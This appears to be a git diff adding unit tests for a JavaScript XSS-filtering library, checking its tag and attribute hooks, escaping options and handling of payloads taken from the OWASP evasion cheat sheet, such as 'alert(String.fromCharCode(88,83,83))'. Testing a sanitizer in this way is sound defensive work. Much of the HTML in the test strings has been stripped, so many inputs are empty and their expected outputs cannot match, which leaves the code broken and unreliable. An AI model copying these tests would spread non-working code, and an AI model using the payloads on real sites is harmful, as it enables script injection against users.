ff'; + var i = 0; + var html = xss(source, { + onTag: function (tag, html, options) { + debug(html); + return html; + } + }); + debug(html); + assert.equal(html, source); + }); + + it('#onIgnoreTag - match tag', function () { + var source = 'ddhaha
ff'; + var i = 0; + var html = xss(source, { + onIgnoreTag: function (tag, html, options) { + debug(arguments); + i++; + if (i === 1) { + assert.equal(tag, 'c'); + assert.equal(html, ''); + assert.equal(options.isClosing, false); + assert.equal(options.position, 17); + assert.equal(options.sourcePosition, 17); + assert.equal(options.isWhite, false); + } else if (i === 2) { + assert.equal(tag, 'c'); + assert.equal(html, ''); + assert.equal(options.isClosing, true); + assert.equal(options.position, 30); + assert.equal(options.sourcePosition, 24); + assert.equal(options.isWhite, false); + } else { + throw new Error(); + } + } + }); + debug(html); + assert.equal(html, 'dd<c>haha</c>
ff'); + }); + + it('#onIgnoreTag - return new html', function () { + var source = 'ddhaha
ff'; + var i = 0; + var html = xss(source, { + onIgnoreTag: function (tag, html, options) { + debug(html); + return '[' + (options.isClosing ? '/' : '') + 'removed]'; + } + }); + debug(html); + assert.equal(html, 'dd[removed]haha[/removed]
ff'); + }); + + it('#onTagAttr - match attr', function () { + var source = 'hi'; + var i = 0; + var html = xss(source, { + onTagAttr: function (tag, name, value, isWhiteAttr) { + debug(arguments); + assert.equal(tag, 'a'); + i++; + if (i === 1) { + assert.equal(name, 'href'); + assert.equal(value, '#'); + assert.equal(isWhiteAttr, true); + } else if (i === 2) { + assert.equal(name, 'target'); + assert.equal(value, '_blank'); + assert.equal(isWhiteAttr, true); + } else if (i === 3) { + assert.equal(name, 'checked'); + assert.equal(value, ''); + assert.equal(isWhiteAttr, false); + } else if (i === 4) { + assert.equal(name, 'data-a'); + assert.equal(value, 'b'); + assert.equal(isWhiteAttr, false); + } else { + throw new Error(); + } + } + }); + debug(html); + assert.equal(html, 'hi'); + }); + + it('#onTagAttr - match attr', function () { + var source = 'hi'; + var i = 0; + var html = xss(source, { + onTagAttr: function (tag, name, value, isWhiteAttr) { + debug(arguments); + return '$' + name + '$'; + } + }); + debug(html); + assert.equal(html, 'hi'); + }); + + it('#onIgnoreTagAttr - match attr', function () { + var source = 'hi'; + var i = 0; + var html = xss(source, { + onIgnoreTagAttr: function (tag, name, value, isWhiteAttr) { + debug(arguments); + assert.equal(tag, 'a'); + i++; + if (i === 1) { + assert.equal(name, 'checked'); + assert.equal(value, ''); + assert.equal(isWhiteAttr, false); + } else if (i === 2) { + assert.equal(name, 'data-a'); + assert.equal(value, 'b'); + assert.equal(isWhiteAttr, false); + } else { + throw new Error(); + } + } + }); + debug(html); + assert.equal(html, 'hi'); + }); + + it('#onIgnoreTagAttr - match attr', function () { + var source = 'hi'; + var i = 0; + var html = xss(source, { + onIgnoreTagAttr: function (tag, name, value, isWhiteAttr) { + debug(arguments); + return '$' + name + '$'; + } + }); + debug(html); + assert.equal(html, 'hi'); + }); + + it('#escapeHtml - default', function () { + var source = 'yybb'; + var html = xss(source); + debug(html); + assert.equal(html, '<x>yy</x>bb'); + }); + + it('#escapeHtml - return new value', function () { + var source = 'yybb'; + var html = xss(source, { + escapeHtml: function (str) { + return (str ? '[' + str + ']' : str); + } + }); + debug(html); + assert.equal(html, '[][yy][][bb]'); + }); + + it('#safeAttrValue - default', function () { + var source = 'link'; + var html = xss(source); + debug(html); + assert.equal(html, 'link'); + }); + + it('#safeAttrValue - return new value', function () { + var source = 'link'; + var html = xss(source, { + safeAttrValue: function (tag, name, value) { + debug(arguments); + assert.equal(tag, 'a'); + return '$' + name + '$'; + } + }); + debug(html); + assert.equal(html, 'link'); + }); + + it('#stripIgnoreTag', function () { + var source = 'yybb'; + var html = xss(source, { + stripIgnoreTag: true + }); + debug(html); + assert.equal(html, 'yybb'); + }); + + it('#stripTagBody - true', function () { + var source = 'linkhahaabk'; + var html = xss(source, { + stripIgnoreTagBody: true + }); + debug(html); + assert.equal(html, 'linkbk'); + }); + + it('#stripIgnoreTagBody - *', function () { + var source = 'linkhahaabk'; + var html = xss(source, { + stripIgnoreTagBody: '*' + }); + debug(html); + assert.equal(html, 'linkbk'); + }); + + it('#stripIgnoreTagBody - [\'x\']', function () { + var source = 'linkhahaabk'; + var html = xss(source, { + stripIgnoreTagBody: ['x'] + }); + debug(html); + assert.equal(html, 'link<y>a<y></y>b</y>k'); + }); + + it('#stripIgnoreTagBody - [\'x\'] & onIgnoreTag', function () { + var source = 'linkhahaabk'; + var html = xss(source, { + stripIgnoreTagBody: ['x'], + onIgnoreTag: function (tag, html, options) { + return '$' + tag + '$'; + } + }); + debug(html); + assert.equal(html, 'link$y$a$y$$y$b$y$k'); + }); + + it('#stripIgnoreTag & stripIgnoreTagBody', function () { + var source = 'alert(/xss/);'; + var html = xss(source, { + stripIgnoreTag: true, + stripIgnoreTagBody: ['script'] + }); + debug(html); + assert.equal(html, ''); + }); + + it('#stripIgnoreTag & stripIgnoreTagBody - 2', function () { + var source = 'ooxxalert(/xss/);'; + var html = xss(source, { + stripIgnoreTag: true, + stripIgnoreTagBody: ['script'] + }); + debug(html); + assert.equal(html, 'ooxx'); + }); + + it('cssFilter', function () { + var whiteList = xss.getDefaultWhiteList(); + whiteList.div.push('style'); + assert.equal(xss('
hello
', { whiteList: whiteList }), + '
hello
'); + assert.equal(xss('
hello
', { whiteList: whiteList, css: false }), + '
hello
'); + var css = { whiteList: xss.getDefaultCSSWhiteList() }; + css.whiteList['vertical-align'] = true; + assert.equal(xss('
hello
', { whiteList: whiteList, css: css }), + '
hello
'); + }); + +}); \ No newline at end of file diff --git a/test/test_html_parser.js b/test/test_html_parser.js new file mode 100644 index 0000000..1a44bfe --- /dev/null +++ b/test/test_html_parser.js @@ -0,0 +1,127 @@ +/** + * 测试 html parser + * + * @author 老雷 + */ + +var assert = require('assert'); +var parser = require('../lib/parser'); +var parseTag = parser.parseTag; +var parseAttr = parser.parseAttr; +var debug = require('debug')('xss:test'); + +describe('test HTML parser', function () { + + function escapeHtml (html) { + return html.replace(//g, '>'); + } + + function attr (n, v) { + if (v) { + return n + '="' + v.replace(/"/g, '"e;') + '"'; + } else { + return n; + } + } + + it('#parseTag', function () { + var i = 0; + var html = parseTag('hellowwwccc
', function (sourcePosition, position, tag, html, isClosing) { + i++; + debug(arguments); + if (i === 1) { + // 第1个标签 + assert.equal(sourcePosition, 5); + assert.equal(position, 5); + assert.equal(tag, 'a'); + assert.equal(html, ''); + assert.equal(isClosing, false); + return '[link]'; + } else if (i === 2) { + // 第2个标签 + assert.equal(sourcePosition, 20); + assert.equal(position, 14); + assert.equal(tag, 'a'); + assert.equal(html, ''); + assert.equal(isClosing, true); + return '[/link]'; + } else if (i === 3) { + // 第3个标签 + assert.equal(sourcePosition, 27); + assert.equal(position, 24); + assert.equal(tag, 'b'); + assert.equal(html, ''); + assert.equal(isClosing, false); + return '[B]'; + } else if (i === 4) { + // 第4个标签 + assert.equal(sourcePosition, 30); + assert.equal(position, 27); + assert.equal(tag, 'br'); + assert.equal(html, '
'); + assert.equal(isClosing, false); + return '[BR]'; + } else { + throw new Error(); + } + }, escapeHtml); + debug(html); + assert.equal(html, 'hello[link]www[/link]ccc[B][BR]'); + }); + + it('#parseAttr', function () { + var i = 0; + var html = parseAttr('href="#"attr1=b attr2=c attr3 attr4=\'value4"\'attr5/', function (name, value) { + i++; + debug(arguments); + if (i === 1) { + assert.equal(name, 'href'); + assert.equal(value, '#'); + return attr(name, value); + } else if (i === 2) { + assert.equal(name, 'attr1'); + assert.equal(value, 'b'); + return attr(name, value); + } else if (i === 3) { + assert.equal(name, 'attr2'); + assert.equal(value, 'c'); + return attr(name, value); + } else if (i === 4) { + assert.equal(name, 'attr3'); + assert.equal(value, ''); + return attr(name, value); + } else if (i === 5) { + assert.equal(name, 'attr4'); + assert.equal(value, 'value4"'); + return attr(name, value); + } else if (i === 6) { + assert.equal(name, 'attr5'); + assert.equal(value, ''); + return attr(name, value); + } else { + throw new Error(); + } + }); + debug(html); + assert.equal(html, 'href="#" attr1="b" attr2="c" attr3 attr4="value4"e;" attr5'); + }); + + it('#parseTag & #parseAttr', function () { + var html = parseTag('hi:link', function (sourcePosition, position, tag, html, isClosing) { + if (tag === 'a') { + if (isClosing) return ''; + var attrhtml = parseAttr(html.slice(2, -1), function (name, value) { + if (name === 'href' || name === 'target') { + return attr(name, value); + } + }); + return ''; + } else { + return escapeHtml(html); + } + }, escapeHtml); + debug(html); + assert.equal(html, 'hi:link'); + }); + +}); diff --git a/test/test_xss.js b/test/test_xss.js new file mode 100644 index 0000000..7b977ef --- /dev/null +++ b/test/test_xss.js @@ -0,0 +1,250 @@ +/** + * 测试XSS + * + * @author 老雷 + */ + +var assert = require('assert'); +var _xss = require('../'); +var debug = require('debug')('xss:test'); + + +function xss (html, options) { + debug(JSON.stringify(html)); + var ret = _xss(html, options); + debug('\t' + JSON.stringify(ret)); + return ret; +} + + +describe('test XSS', function () { + + it('#normal', function () { + + // 兼容各种奇葩输入 + assert.equal(xss(), ''); + assert.equal(xss(null), ''); + assert.equal(xss(123), '123'); + assert.equal(xss({a: 1111}), '[object Object]'); + + // 清除不可见字符 + assert.equal(xss('a\u0000\u0001\u0002\u0003\r\n b'), 'a\u0000\u0001\u0002\u0003\r\n b'); + assert.equal(xss('a\u0000\u0001\u0002\u0003\r\n b', {stripBlankChar: true}), 'a\r\n b'); + + // 过滤不在白名单的标签 + assert.equal(xss('abcd'), 'abcd'); + assert.equal(xss('abcd'), '<o>abcd</o>'); + assert.equal(xss('abcd'), 'abcd</o>'); + assert.equal(xss('abcd'), '<o>abcd</o>'); + assert.equal(xss('
'), '
'); + assert.equal(xss(''), '<xss>'); + assert.equal(xss(''), '<xss o="x">'); + assert.equal(xss('c'), 'c'); + assert.equal(xss('b'), '<c>b</c>'); + + // 过滤不是标签的<> + assert.equal(xss('<>>'), '<>>'); + assert.equal(xss(''), '<script>'); + assert.equal(xss('<b>'), '<b>'); + assert.equal(xss('<<>b'), '<<>b<x>'); + + // 过滤不在白名单中的属性 + assert.equal(xss('yy'), 'yy'); + assert.equal(xss('pp'), 'pp'); + assert.equal(xss('pp'), 'pp'); + assert.equal(xss(''), ''); + + // 属性内的特殊字符 + assert.equal(xss(''), ''); + assert.equal(xss(''), ''); + assert.equal(xss(''), ''); + assert.equal(xss(''), ''); + assert.equal(xss(''), ''); + assert.equal(xss('hello'), 'hello'); + + // 自动将属性值的单引号转为双引号 + assert.equal(xss(''), ''); + assert.equal(xss(''), ''); + + // 没有双引号括起来的属性值 + assert.equal(xss(''), ''); + assert.equal(xss(''), ''); + assert.equal(xss(''), ''); + + // 单个闭合标签 + assert.equal(xss(''), ''); + assert.equal(xss(''), ''); + assert.equal(xss(''), ''); + assert.equal(xss('
'), '
'); + assert.equal(xss('
'), '
'); + + // 畸形属性格式 + assert.equal(xss('
'), ''); + assert.equal(xss(''), ''); + assert.equal(xss(''), + ''); + assert.equal(xss(''), + ''); + assert.equal(xss(''), + ''); + assert.equal(xss(''), + ''); + assert.equal(xss(''), + ''); + assert.equal(xss(''), + ''); + assert.equal(xss('yyy'), + 'yyy'); + assert.equal(xss('\'yyy\''), + '\'yyy\''); + + }); + + // 自定义白名单 + it('#white list', function () { + + // 过滤所有标签 + assert.equal(xss('bb', {whiteList: {}}), '<a title="xx">bb</a>'); + assert.equal(xss('
', {whiteList: {}}), '<hr>'); + // 增加白名单标签及属性 + assert.equal(xss('uu', {whiteList: {ooxx: ['yy']}}), 'uu'); + + }); + + // XSS攻击测试:https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet + it('#XSS_Filter_Evasion_Cheat_Sheet', function () { + + assert.equal(xss('>
">\'>alert(String.fromCharCode(88,83,83))'), + '></SCRIPT>">\'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>'); + + assert.equal(xss(';!--"=&{()}'), ';!--"<XSS>=&{()}'); + + assert.equal(xss('